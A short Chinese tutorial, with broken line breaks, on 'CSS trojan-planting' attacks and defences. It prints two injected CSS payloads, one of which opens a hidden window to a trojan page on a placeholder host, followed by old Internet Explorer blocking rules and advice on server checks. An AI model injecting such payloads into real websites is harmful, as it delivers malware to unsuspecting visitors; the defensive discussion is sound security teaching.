CSS 挂马攻防实录
攻
CSS 挂马方式较多,但主流的方式是通过有漏洞的博客或者 SNS 社交网站系统,将
恶意的
CSS 代码写入支持 CSS 功能的个性化页面中。下面我们以典型的 CSS 挂马方式为例
进行讲解。
方式
1:
Body{
background-image: url('JavaScript:document.write("")')
}
“background-image”在 CSS 中的主要功能是用来定义页面的背景图片。这是最典型的
CSS 挂马方式,这段恶意代码主要是通过“background-image”配合 JavaScript 代码让网页木
马悄悄地在用户的电脑中运行。
那如何将这段
CSS 恶意代码挂到正常的网页中去呢?黑客可以将生成好的网页木马放
到自己指定的位置,然后将该段恶意代码写入挂马网站的网页中,或者挂马网页所调用的
CSS 文件中。
小百科:使用
Body 对象元素,主要是为了让对象不再改变整个网页文档的内容,通
过
Body 对象的控制,可以将内容或者效果控制在指定的大小内,如同使用 DIV 对象那样
精确地设置大小。
方式
2:
Body{
background-image:
url(JavaScript:open('
http://www.X.com
/muma.htm
','newwindow' ,'height=0, width=0, top=1000, left=0, toolbar=no, menubar=no,
scrollbars=no, resizable=no,location=no, status=no'))
}
方式 1 的 CSS 挂马技术,在运行时会出现空白的页面,影响网页访问者正常的访问,
因此比较容易发现。不过在方式
2 中的这段代码,使用了 JavaScript 的 Open 开窗,通过新
开一个隐藏的窗口,在后台悄悄地运行新窗口并激活访问网页溢出木马页面,不会影响访
问者观看网页内容,因此更
加隐蔽。
防网络服务器被挂马,通常会出现防病毒软件告警之类的信息。由于漏洞不断更新,挂
马种类时刻都在变换,通过客户端的反映来发现服务器是否被挂马往往疏漏较大。正确的做
法是经常检查服务器日志,发现异常信息,经常检查网站代码,使用网页木马检测系统,
进行排查。
目前除了使用以前的阻断弹出窗口防范
CSS 挂马之外,还可以在网页中设置 CSS 过滤,
将
CSS 过滤掉。不过如果你选择过滤 CSS 的话,首先需要留意自己的相关网页是否有 CSS
的内容,因此我们仍然首推用阻断方式来防范
CSS。阻断代码如下所示:
iframe{miao1:expression(this.src='about:blank',this.outerHTML='');}
script{miao2:expression(if(this.src.indexOf('http')==0)this.src='res://ieframe.dll/dnserror.htm');}
将外域的木马代码的
src 重写成本地 IE404 错误页面的地址,这样,外域的
JavaScript
代码不会被下载。不过阻断方式也有天生致命的弱点。
找互联网资料,就到一览互联网文库